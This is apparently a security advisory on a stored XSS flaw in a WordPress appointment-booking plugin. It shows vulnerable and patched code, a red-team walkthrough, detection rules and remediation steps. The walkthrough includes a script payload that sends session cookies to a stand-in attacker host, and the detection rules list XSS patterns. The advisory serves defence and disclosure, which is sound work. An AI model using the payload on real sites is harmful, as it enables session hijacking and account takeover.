CVE-2024-7876

Executive Summary

CVE-2024-7876 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin "Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin" (versions before 1.6.7.55). This flaw allows high-privilege users, such as administrators, to inject malicious scripts into the plugin's Appointment Type settings. Because the plugin fails to sanitize and escape these settings, an attacker with admin access can store arbitrary JavaScript that executes in the browsers of other users (including other admins or visitors) who view the affected settings page. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is particularly dangerous in multi-tenant or shared admin environments where a compromised admin account can be used to escalate privileges or pivot attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from wordpress.org. No supply chain compromise of the plugin's source code repository has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD assigned, but based on vector: 4.8 Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin-level access to the WordPress site.
• User Interaction (UI): Required (R) – A victim must visit the compromised settings page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Script injection can modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is low due to the high privileges required, the impact can be significant in environments where admin accounts are shared or where a single compromised admin can affect many users.

Deep Dive & Mechanics

The vulnerability resides in the plugin's handling of Appointment Type settings. When an admin creates or edits an appointment type, the plugin stores user-supplied values (e.g., labels, descriptions, or custom fields) without proper sanitization or output escaping. Specifically, the plugin uses update_option or similar functions to save these settings, and later renders them directly into the admin panel's HTML without using WordPress's escaping functions like esc_html() or wp_kses_post().

An attacker with admin privileges can inject JavaScript payloads into these fields. For example, they could set a field value to:

<script>alert('XSS')</script>

When another admin (or a user with access to the settings page) views the appointment type settings, the script executes in their browser context. This can be used to steal session cookies, perform actions on behalf of the victim, or redirect them to a phishing page.

The vulnerability is classified as Stored XSS because the malicious payload is permanently stored in the database and executed each time the page is loaded.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.6.7.55):

// In a settings page rendering function
echo '<input type="text" name="appointment_type_label" value="' . $stored_value . '" />';

Here, $stored_value is output directly without escaping.

Patched Code (1.6.7.55 and later):

// In a settings page rendering function
echo '<input type="text" name="appointment_type_label" value="' . esc_attr( $stored_value ) . '" />';

The patched version uses esc_attr() to escape the value, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: Admin credentials to a WordPress site running a vulnerable version of the plugin.
2. Steps:
   • Log in as an admin.
   • Navigate to the plugin's settings (e.g., "Appointments" > "Settings" > "Appointment Types").
   • Edit an existing appointment type or create a new one.
   • In a text field (e.g., "Label" or "Description"), inject a payload:

     <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
     

   • Save the settings.
   • When another admin visits the same settings page, the script executes, sending their session cookie to the attacker's server.

Blue Team (Detection & Hardening)

• Prevention: Update the plugin to version 1.6.7.55 or later.
• Detection: Monitor for unusual admin activity, especially changes to plugin settings. Use Web Application Firewall (WAF) rules to block common XSS payloads in admin requests.
• Response: If an XSS attack is suspected, immediately revoke all admin sessions, audit recent changes to plugin settings, and restore from a clean backup.

Indicators of Compromise (IOCs)

• File System: Modified plugin files (e.g., wp-content/plugins/simply-schedule-appointments/...) containing injected JavaScript.
• Database: Entries in the wp_options table or plugin-specific tables containing <script> tags or event handlers (e.g., onmouseover, onload).
• Network: Outbound HTTP requests to known malicious domains from the WordPress admin panel.
• Logs: Unusual admin login times or IP addresses, especially if they coincide with changes to plugin settings.

Detection Engineering

YARA Rule

rule CVE_2024_7876_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Simply Schedule Appointments plugin settings"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-7876"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS in Simply Schedule Appointments Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in the plugin's settings fields
author: Valters IT
date: 2024-10-27
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Example: WordPress audit log event
        Message|contains: 
            - '<script>'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7876 Stored XSS Payload in WordPress Admin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=simply_schedule_appointments_save_settings"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update the plugin to version 1.6.7.55 or later from the WordPress admin dashboard.
2. Workaround: If immediate update is not possible, restrict admin access to trusted users only and implement a Web Application Firewall (WAF) with XSS filtering rules.
3. Long-term: Regularly audit all WordPress plugins for security updates. Implement the principle of least privilege for admin accounts. Use security plugins that monitor file integrity and detect malicious changes.

Valters IT
Securing Digital Frontiers